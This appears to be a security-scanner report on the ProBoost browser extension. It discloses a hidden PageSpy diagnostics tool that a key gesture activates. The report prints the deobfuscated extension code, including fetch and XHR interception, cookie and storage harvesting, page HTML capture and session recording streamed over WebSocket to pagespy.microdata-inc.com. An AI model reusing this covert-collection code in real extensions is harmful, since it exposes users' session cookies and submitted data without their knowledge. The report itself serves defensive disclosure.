Is ProBoost safe?

High risk

ProBoost can stream page network, cookie, storage, console, and recording data to pagespy.microdata-inc.com after a gesture.

ProBoost includes a hidden PageSpy diagnostics tool that activates after a gesture on its matched TikTok Shop, ProBoost, Google, and Kalodata pages. When active, it opens HTTPS and WebSocket connections to pagespy.microdata-inc.com and can send request URLs, headers, bodies, cookies, local or session storage, console output, and recorded page activity.

72Risk
Who publishes it

1 other listing from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Same store account

1 other listing published from this account, 1k+ users between them, none of them carrying a finding.

Shared hosts - 2 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

o.alicdn.com
Also called by 2 other listings, including 1688 Purchase Assistant
picbed.microdata-inc.com
Also called by 3 other listings, including Kaloboost

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

PageSpy diagnostics transmit page data after a gesture

A U,U,D,D,L,L,R,R gesture on ProBoost's pages starts PageSpy.

We observed a POST to pagespy.microdata-inc.com/api/v1/room/create, then a WebSocket room on that host.

Plugins can forward traffic, cookies, storage, HTML, recordings.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You perform the configured U,U,D,D,L,L,R,R gesture while on a page covered by the extension.

The extension did this

The extension starts PageSpy diagnostics, creates a remote room, and can forward page, network, cookie, and storage events from that page.

Captured request
POSThttps://pagespy.microdata-inc.com/api/v1/room/create
Concrete fields collected by the PageSpy plugins after activation
  • Page request URL and method
    url=https://seller.us.tiktokglobalshop.com/api/orders, method=POST (illustrative)

    Shows which page request happened while diagnostics were active.

  • Request headers
    requestHeader=[["content-type","application/json"]] (illustrative)

    Can include app metadata that your browser sends with a page request.

  • Request payload
    requestPayload={"keyword":"summer dress","region":"US"} (illustrative)

    Can include values you submit through fetch or XMLHttpRequest on the matched page.

  • Response headers and body
    responseHeader=[["content-type","application/json"]], response={"status":"ok"} (illustrative)

    Can reveal server responses returned to your browser while the diagnostic client is active.

  • Cookies
    data=[{"name":"ttwid","value":"1%7Cabc123%7C1700000000%7Cabcdef"}] (illustrative)

    Can identify your signed-in browser state on a covered site.

  • Storage entries
    type=localStorage, data=[{"name":"shop_region","value":"US"}] (illustrative)

    Can reveal saved app state and identifiers that the matched page keeps in your browser.

  • Page HTML and recording events
    type=rrweb-event with input and mutation data (illustrative)

    Can reveal page text, page structure, and form activity visible in the tab.

The code that does this

PageSpy is loaded only after the configured gesture, then creates a room and WebSocket URL

Readable version

ProBoost content script bootstrap

assets/main.tsx.ff93c37d.js
async function kQn() {  let e, t, n;  try {    const [a, r, i] = await Promise.all([      VP(() => import("./index.min.97eb9b8c.js"), []),      VP(() => import("./index.min.e91a0245.js"), []),      VP(() => import("./index.min.2ed666bd.js"), []),    ]);    if (      ((e = a.default),      (t = r.default),      (n = i.default),      typeof e > "u" || typeof t > "u" || typeof n > "u")    )      return;    ((window.$harbor = new t()),      (window.$rrweb = new n()),      [window.$harbor, window.$rrweb].forEach((o) => {        try {          e.registerPlugin(o);        } catch {}      }),      (window.$pageSpy = new e({        api: "pagespy.microdata-inc.com",        clientOrigin: "https://pagespy.microdata-inc.com",        title: "ProBoost",        lang: "zh",        modal: {          title: "proboost\u65E5\u5FD7\u8BBF\u95EE",          logo: "https://picbed.microdata-inc.com/nas/20241126af40ef95d9e4404189ffb3d0fd6d47a4.png",        },        logo: "https://picbed.microdata-inc.com/nas/20241126af40ef95d9e4404189ffb3d0fd6d47a4.png",        gesture: ["U", "U", "D", "D", "L", "L", "R", "R"],      })));  } catch {    try {      (window.$harbor && delete window.$harbor,        window.$rrweb && delete window.$rrweb,        window.$pageSpy && delete window.$pageSpy);    } catch {}  }}

PageSpy constructor waits for the gesture before init

assets/index.min.97eb9b8c.js
class PageSpy {  constructor() {    let s = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : {};    if (      (_defineProperty(this, "root", null),      _defineProperty(this, "version", version),      _defineProperty(this, "request", null),      _defineProperty(this, "address", ""),      _defineProperty(this, "socketStore", socketStore),      _defineProperty(this, "config", new Config()),      _defineProperty(this, "cacheTimer", null),      _defineProperty(this, "eventBus", eventBus),      PageSpy.instance)    )      return (psLog.warn("Cannot initialize PageSpy multiple times"), PageSpy.instance);    const l = this.config.mergeConfig(s);    l.gesture      ? a(l.gesture, () => {          PageSpy.instance || this.init();        })      : this.init();  }}

PageSpy init triggers plugins and opens the connection

assets/index.min.97eb9b8c.js
class PageSpy {  async init() {    PageSpy.instance = this;    const s = this.config.get();    (s.lang && i18n.setLang(s.lang),      this.updateConfiguration(),      this.triggerPlugins("onInit", { config: s, socketStore }),      s.offline === !1 &&        ((this.request = new Request(s)),        this.cacheIsInvalid() ? await this.createNewConnection() : this.useOldConnection(),        document.addEventListener("visibilitychange", () => {          !document.hidden &&            socketStore.getSocket().getState() !== SocketState.OPEN &&            socketStore.connectable &&            this.useOldConnection();        })),      psLog.log("Plugins inited"),      this.eventBus.dispatchEvent(new Event("core:inited")),      s.autoRender && this.render());  }}

PageSpy creates a new room and initializes socketStore

assets/index.min.97eb9b8c.js
class PageSpy {  async createNewConnection() {    if (!this.request) return void psLog.error("Cannot get the Request");    const s = await this.request.createRoom();    ((this.address = s.address),      socketStore.init(s.roomUrl),      sessionStorage.removeItem(ROOM_SESSION_KEY),      this.refreshRoomInfo());  }}

Room creation and WebSocket join URL builder

assets/index.min.97eb9b8c.js
class Request {  constructor(s) {    if (((this.config = s), !s.api)) throw Error("The api base url cannot be empty");  }  get base() {    return this.config.api;  }  getScheme() {    return this.config.enableSSL ? ["https://", "wss://"] : ["http://", "ws://"];  }  createRoom() {    const { project: s, title: l, useSecret: d, secret: p } = this.config,      h = this.getScheme(),      y = joinQuery({ name: navigator.userAgent, group: s, title: l });    return fetch("".concat(h[0]).concat(this.base, "/api/v1/room/create?").concat(y), {      method: "POST",      body: JSON.stringify({ useSecret: d, secret: p }),    })      .then((f) => f.json())      .then((f) => {        const { name: g, address: m } = f.data || {};        return { roomUrl: this.getRoomUrl(m), address: m, name: g };      })      .catch((f) => {        throw Error("Request create room failed: ".concat(f.message));      });  }  getRoomUrl(s) {    const l = this.getScheme(),      { useSecret: d, secret: p } = this.config;    return ""      .concat(l[1])      .concat(this.base, "/api/v1/ws/room/join?")      .concat(        joinQuery({          address: s,          name: "client:".concat(getRandomId()),          userId: "Client",          forceCreate: !0,          useSecret: d,          secret: p,        }),      );  }}
The code that does this

Registered plugins collect network, storage, cookies, page HTML, and rrweb events

Readable version

Network item fields

assets/index.min.97eb9b8c.js
class RequestItem {  constructor(s) {    (_defineProperty(this, "id", ""),      _defineProperty(this, "method", ""),      _defineProperty(this, "url", ""),      _defineProperty(this, "requestType", "xhr"),      _defineProperty(this, "requestHeader", null),      _defineProperty(this, "status", 0),      _defineProperty(this, "statusText", ""),      _defineProperty(this, "readyState", 0),      _defineProperty(this, "response", void 0),      _defineProperty(this, "responseReason", null),      _defineProperty(this, "responseType", ""),      _defineProperty(this, "responseHeader", null),      _defineProperty(this, "startTime", 0),      _defineProperty(this, "endTime", 0),      _defineProperty(this, "costTime", 0),      _defineProperty(this, "postData", null),      _defineProperty(this, "requestPayload", null),      _defineProperty(this, "withCredentials", !1),      _defineProperty(this, "lastEventId", ""),      (this.id = s));  }}

Network messages are dispatched and broadcast

assets/index.min.97eb9b8c.js
class NetworkProxyBase {  constructor(s) {    (_defineProperty(this, "socketStore", void 0),      _defineProperty(this, "reqMap", Object.create(null)),      (this.socketStore = s));  }  getRequestMap() {    return this.reqMap;  }  getRequest(s) {    return this.reqMap[s];  }  removeRequest(s) {    delete this.reqMap[s];  }  createRequest(s) {    return s      ? this.reqMap[s]        ? (psLog.warn("The request object has been in store, disallow duplicate create"), !1)        : ((this.reqMap[s] = new RequestItem(s)), !0)      : (psLog.warn('The "id" is required when init request object'), !1);  }  setRequest(s, l) {    return !(!s || !l) && ((this.reqMap[s] = l), !0);  }  sendRequestItem(s, l) {    var d;    if (      ((d = NetworkProxyBase.dataProcessor) === null || d === void 0        ? void 0        : d.call(NetworkProxyBase, l)) !== !1    )      try {        this.reqMap[s] || (this.reqMap[s] = l);        const p = makeMessage("network", { ...l }, !1);        (this.socketStore.dispatchEvent("public-data", p),          this.socketStore.broadcastMessage(p, l.readyState !== ReqReadyState.DONE),          this.deferDeleteRequest(s));      } catch (p) {        psLog.error(p.message);      }  }  deferDeleteRequest(s) {    const l = this.getRequest(s);    l &&      l.readyState === ReqReadyState.DONE &&      setTimeout(() => {        delete this.reqMap[s];      }, 3e3);  }}

XMLHttpRequest proxy

assets/index.min.97eb9b8c.js
class XhrProxy extends WebNetworkProxyBase {  constructor() {    (super(),      _defineProperty(this, "xhrOpen", null),      _defineProperty(this, "xhrSend", null),      _defineProperty(this, "xhrSetRequestHeader", null),      this.initProxyHandler());  }  initProxyHandler() {    const s = this;    if (!window.XMLHttpRequest) return;    const { open: l, send: d, setRequestHeader: p } = window.XMLHttpRequest.prototype;    ((this.xhrOpen = l),      (this.xhrSend = d),      (this.xhrSetRequestHeader = p),      (window.XMLHttpRequest.prototype.open = function () {        const h = this;        for (var y = arguments.length, f = new Array(y), g = 0; g < y; g++) f[g] = arguments[g];        const m = f[0],          S = f[1],          v = getRandomId();        s.createRequest(v);        const b = s.getRequest(v);        return (          b &&            ((b.url = new URL(S, window.location.href).toString()),            (b.method = m.toUpperCase()),            (b.requestType = "xhr")),          (this.pageSpyRequestId = v),          (this.pageSpyRequestMethod = m),          (this.pageSpyRequestUrl = S),          h.addEventListener("readystatechange", async () => {            if (b) {              switch (((b.readyState = h.readyState), h.readyState)) {                case h.UNSENT:                case h.OPENED:                  ((b.status = h.status),                    (b.statusText = "Pending"),                    b.startTime || (b.startTime = Date.now()));                  break;                case h.HEADERS_RECEIVED:                  ((b.status = h.status), (b.statusText = "Loading"));                  const T = (h.getAllResponseHeaders() || "").trim().split(/[\r\n]+/);                  b.responseHeader = T.reduce((I, P) => {                    const [A, ...R] = P.split(": ");                    return (I.push([A, R.join(": ")]), I);                  }, []);                  break;                case h.LOADING:                  ((b.status = h.status), (b.statusText = "Loading"));                  break;                case h.DONE:                  ((b.status = h.status),                    (b.statusText = "Done"),                    (b.endTime = Date.now()),                    (b.costTime = b.endTime - (b.startTime || b.endTime)));                  const E = await s.formatResponse(h);                  getObjectKeys(E).forEach((I) => {                    b[I] = E[I];                  });                  break;                default:                  ((b.status = h.status), (b.statusText = "Unknown"));              }              s.sendRequestItem(h.pageSpyRequestId, b);            } else              psLog.warn(                "The request object is not found on XMLHttpRequest's readystatechange event",              );          }),          l.apply(h, f)        );      }),      (window.XMLHttpRequest.prototype.setRequestHeader = function (h, y) {        const f = s.getRequest(this.pageSpyRequestId);        return (          f            ? (f.requestHeader || (f.requestHeader = []),              f.requestHeader.push([String(h), String(y)]))            : psLog.warn(                "The request object is not found on XMLHttpRequest's setRequestHeader event",              ),          p.apply(this, [h, y])        );      }),      (window.XMLHttpRequest.prototype.send = function (h) {        const y = this,          { pageSpyRequestId: f } = y,          g = s.getRequest(f);        return (          g            ? ((g.responseType = y.responseType),              (g.withCredentials = y.withCredentials),              g.method !== "GET" &&                ((g.requestHeader = addContentTypeHeader(g.requestHeader, h)),                getFormattedBody(h).then((m) => {                  ((g.requestPayload = m), s.sendRequestItem(y.pageSpyRequestId, g));                })))            : psLog.warn("The request object is not found on XMLHttpRequest's send event"),          d.apply(y, [h])        );      }));  }  reset() {    (this.xhrOpen && (window.XMLHttpRequest.prototype.open = this.xhrOpen),      this.xhrSend && (window.XMLHttpRequest.prototype.send = this.xhrSend),      this.xhrSetRequestHeader &&        (window.XMLHttpRequest.prototype.setRequestHeader = this.xhrSetRequestHeader));  }  async formatResponse(s) {    const l = { response: "", responseReason: null };    switch (s.responseType) {      case "":      case "text":        if (isString(s.response))          try {            l.response = JSON.parse(s.response);          } catch {            l.response = s.response;          }        else s.response !== void 0 && (l.response = toStringTag(s.response));        break;      case "json":        s.response !== void 0 && (l.response = s.response);        break;      case "blob":      case "arraybuffer":        if (s.response) {          let d = s.response;          if (isArrayBuffer(d)) {            const p = s.getResponseHeader("content-type");            p && (d = new Blob([d], { type: p }));          }          if (isBlob(d))            if (d.size <= MAX_SIZE)              try {                l.response = await blob2base64Async(d);              } catch (p) {                ((l.response = await d.text()), psLog.error(p.message));              }            else ((l.response = "[object Blob]"), (l.responseReason = Reason.EXCEED_SIZE));        }        break;      default:        s.response !== void 0 && (l.response = Object.prototype.toString.call(s.response));    }    return l;  }}

fetch proxy

assets/index.min.97eb9b8c.js
class FetchProxy extends WebNetworkProxyBase {  constructor() {    (super(), _defineProperty(this, "fetch", null), this.initProxyHandler());  }  reset() {    this.fetch && (window.fetch = this.fetch);  }  initProxyHandler() {    const s = this,      l = window.fetch;    l &&      ((this.fetch = l),      (window.fetch = function (d) {        let p = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : {};        const h = l(d, p),          y = getRandomId();        s.createRequest(y);        const f = s.getRequest(y);        if (f) {          let g,            m = "GET",            S = null;          (isString(d) || isURL(d)            ? ((m = p.method || "GET"), (g = d), (S = p.headers || null))            : ((m = d.method), (g = d.url), (S = d.headers)),            (f.url = new URL(g, window.location.href).toString()),            (f.method = m.toUpperCase()),            (f.requestType = "fetch"),            (f.status = 0),            (f.statusText = "Pending"),            (f.startTime = Date.now()),            (f.readyState = XMLHttpRequest.UNSENT),            p.credentials && p.credentials !== "omit" && (f.withCredentials = !0),            S &&              (isHeaders(S)                ? (f.requestHeader = [...S.entries()])                : isObjectLike(S)                  ? (f.requestHeader = Object.entries(S).map((v) => {                      let [b, T] = v;                      return [String(b), String(T)];                    }))                  : (f.requestHeader = S.map((v) => {                      let [b, T] = v;                      return [String(b), String(T)];                    }))),            f.method !== "GET" &&              ((f.requestHeader = addContentTypeHeader(f.requestHeader, p.body)),              getFormattedBody(p.body).then((v) => {                ((f.requestPayload = v), s.sendRequestItem(y, f));              })),            s.sendRequestItem(y, f),            h              .then((v) => {                ((f.endTime = Date.now()),                  (f.costTime = f.endTime - (f.startTime || f.endTime)),                  (f.status = v.status || 200),                  (f.statusText = v.statusText || "Done"),                  (f.responseHeader = [...v.headers.entries()]),                  (f.readyState = XMLHttpRequest.HEADERS_RECEIVED),                  s.sendRequestItem(y, f));                const b = v.headers.get("content-type");                if (b) {                  if (b.includes("application/json"))                    return ((f.responseType = "json"), v.clone().text());                  if (b.includes("text/html") || b.includes("text/plain"))                    return ((f.responseType = "text"), v.clone().text());                }                return ((f.responseType = "blob"), v.clone().blob());              })              .then(async (v) => {                switch (f.responseType) {                  case "text":                  case "json":                    try {                      f.response = JSON.parse(v);                    } catch {                      ((f.response = v), (f.responseType = "text"));                    }                    break;                  case "blob":                    const b = v;                    if (b.size <= MAX_SIZE)                      try {                        f.response = await blob2base64Async(b);                      } catch (T) {                        ((f.response = await b.text()), psLog.error(T.message));                      }                    else ((f.response = "[object Blob]"), (f.responseReason = Reason.EXCEED_SIZE));                }              })              .finally(() => {                ((f.readyState = XMLHttpRequest.DONE), s.sendRequestItem(y, f));              }));        } else psLog.warn("The request object is not found on window.fetch event");        return h;      }));  }}

Storage and cookie collector

assets/index.min.97eb9b8c.js
class StoragePlugin {  constructor() {    (_defineProperty(this, "name", "StoragePlugin"),      _defineProperty(this, "originSetItem", null),      _defineProperty(this, "originRemoveItem", null),      _defineProperty(this, "originClear", null),      _defineProperty(this, "cookieStoreChangeListener", null),      _defineProperty(this, "$pageSpyConfig", null));  }  onInit(s) {    let { config: l } = s;    StoragePlugin.hasInitd ||      ((StoragePlugin.hasInitd = !0),      (this.$pageSpyConfig = l),      this.listenRefreshEvent(),      this.onceInitPublicData(),      this.initStorageProxy(),      socketStore.addListener("harbor-clear", () => {        this.onceInitPublicData();      }));  }  onReset() {    (this.originClear && (Storage.prototype.clear = this.originClear),      this.originRemoveItem && (Storage.prototype.removeItem = this.originRemoveItem),      this.originSetItem && (Storage.prototype.setItem = this.originSetItem),      this.cookieStoreChangeListener &&        window.cookieStore &&        window.cookieStore.removeEventListener("change", this.cookieStoreChangeListener),      (StoragePlugin.hasInitd = !1));  }  async sendRefresh(s) {    let l = null;    switch (s) {      case "localStorage":      case "sessionStorage":        l = this.takeStorage(s);        break;      case "cookie":        l = await this.takeCookie();    }    l && this.sendStorageItem(l);  }  listenRefreshEvent() {    socketStore.addListener("refresh", async (s) => {      let { source: l } = s;      const { data: d } = l;      this.sendRefresh(d);    });  }  takeStorage(s) {    const l = { type: s, action: "get", data: [] },      d = window[s],      p = d.length;    if (!p) return l;    for (let h = 0; h <= p - 1; h++) {      const y = d.key(h);      if (y) {        const f = d.getItem(y) || "";        l.data.push({ name: y, value: f });      }    }    return l;  }  async takeCookie() {    const s = { type: "cookie", action: "get", data: [] };    return (      window.cookieStore        ? (s.data = await window.cookieStore.getAll())        : document.cookie &&          (s.data = document.cookie.split("; ").map((l) => {            const [d, p] = l.split("=");            return { name: d, value: p };          })),      s    );  }  initStorageProxy() {    const { clear: s, removeItem: l, setItem: d } = Storage.prototype;    ((this.originClear = s), (this.originRemoveItem = l), (this.originSetItem = d));    const p = this;    ((Storage.prototype.clear = function () {      s.call(this);      const h = { type: p.getStorageType(this), action: "clear" };      p.sendStorageItem(h);    }),      (Storage.prototype.removeItem = function (h) {        l.call(this, h);        const y = { type: p.getStorageType(this), action: "remove", name: String(h) };        p.sendStorageItem(y);      }),      (Storage.prototype.setItem = function (h, y) {        d.call(this, h, y);        const f = {          type: p.getStorageType(this),          action: "set",          name: String(h),          value: String(y),        };        p.sendStorageItem(f);      }),      window.cookieStore &&        ((this.cookieStoreChangeListener = (h) => {          const { changed: y, deleted: f } = h;          (y.length > 0 &&            y.forEach((g) => {              const m = { type: "cookie", action: "set", ...g };              this.sendStorageItem(m);            }),            f.length > 0 &&              f.forEach((g) => {                const m = { type: "cookie", action: "remove", name: g.name };                this.sendStorageItem(m);              }));        }),        window.cookieStore.addEventListener("change", this.cookieStoreChangeListener)));  }  async onceInitPublicData() {    (      await Promise.all([        this.takeStorage("localStorage"),        this.takeStorage("sessionStorage"),        this.takeCookie(),      ])    ).forEach((s) => {      var l, d;      if (        ((l = this.$pageSpyConfig) === null ||        l === void 0 ||        (l = l.dataProcessor) === null ||        l === void 0 ||        (d = l.storage) === null ||        d === void 0          ? void 0          : d.call(l, s)) === !1      )        return;      const p = makeMessage("storage", s);      socketStore.dispatchEvent("public-data", p);    });  }  getStorageType(s) {    return s === localStorage      ? "localStorage"      : s === sessionStorage        ? "sessionStorage"        : s.constructor.name;  }  sendStorageItem(s) {    var l, d;    if (      ((l = this.$pageSpyConfig) === null ||      l === void 0 ||      (l = l.dataProcessor) === null ||      l === void 0 ||      (d = l.storage) === null ||      d === void 0        ? void 0        : d.call(l, s)) === !1    )      return;    const p = makeMessage("storage", s);    (socketStore.dispatchEvent("public-data", p), socketStore.broadcastMessage(p, !0));  }}

Page HTML collector

assets/index.min.97eb9b8c.js
class PagePlugin {  constructor() {    (_defineProperty(this, "name", "PagePlugin"), _defineProperty(this, "$pageSpyConfig", null));  }  onInit(s) {    let { config: l } = s;    PagePlugin.hasInitd ||      ((PagePlugin.hasInitd = !0),      (this.$pageSpyConfig = l),      socketStore.addListener("refresh", (d, p) => {        let { source: h } = d;        const { data: y } = h;        if (y === "page") {          var f, g;          const m = PagePlugin.collectHtml();          if (            ((f = this.$pageSpyConfig) === null ||            f === void 0 ||            (f = f.dataProcessor) === null ||            f === void 0 ||            (g = f.page) === null ||            g === void 0              ? void 0              : g.call(f, m)) === !1          )            return;          const S = makeMessage("page", m);          (socketStore.dispatchEvent("public-data", S), p(S));        }      }));  }  onReset() {    PagePlugin.hasInitd = !1;  }  static collectHtml() {    return { html: document.documentElement.outerHTML, location: window.location };  }}

rrweb event plugin

assets/index.min.2ed666bd.js
class Et {  constructor() {    let t = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : {};    (Pt(this, "name", "RRWebPlugin"), Pt(this, "stopListener", null), (this.options = t));  }  onInit(t) {    let { socketStore: n } = t;    if (      typeof window != "object" ||      typeof document != "object" ||      Object.prototype.toString.call(document) !== "[object HTMLDocument]"    )      return void ye.warn("".concat(this.name, " can only used in browser environment"));    if (!MutationObserver)      return void ye.warn(        "".concat(          this.name,          " built on the MutationObserver API and it's not detected in the current browser",        ),      );    if (Et.hasInited) return;    Et.hasInited = !0;    const { allowOnline: r = !1, ...o } = this.options,      i = St({        ...o,        emit(l) {          const a = (function (c, s) {            return {              role: "client",              type: c,              data: {                ...((!(arguments.length > 2 && arguments[2] !== void 0) || arguments[2]) && {                  id: Math.random().toString(36).slice(2),                }),                ...s,              },            };          })("rrweb-event", l);          n.dispatchEvent("public-data", a);        },      });    (n.addListener("harbor-clear", () => {      St.takeFullSnapshot();    }),      i && (this.stopListener = i));  }  onReset() {    var t;    ((t = this.stopListener) === null || t === void 0 || t.call(this), (Et.hasInited = !1));  }}
Remote host used by the diagnostic channel
    • pagespy.microdata-inc.com

    Receives PageSpy room creation requests and the WebSocket diagnostic channel for collected page events.

Where it sends data

Destinations our analysis observed ProBoost contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • pagespy.microdata-inc.com

    ProBoost sends data to pagespy.microdata-inc.com. No other extension we have analysed sends data here.

Updated 30 September 2026pimmjpihkoonfdpkfalidpbmlfhkkcoa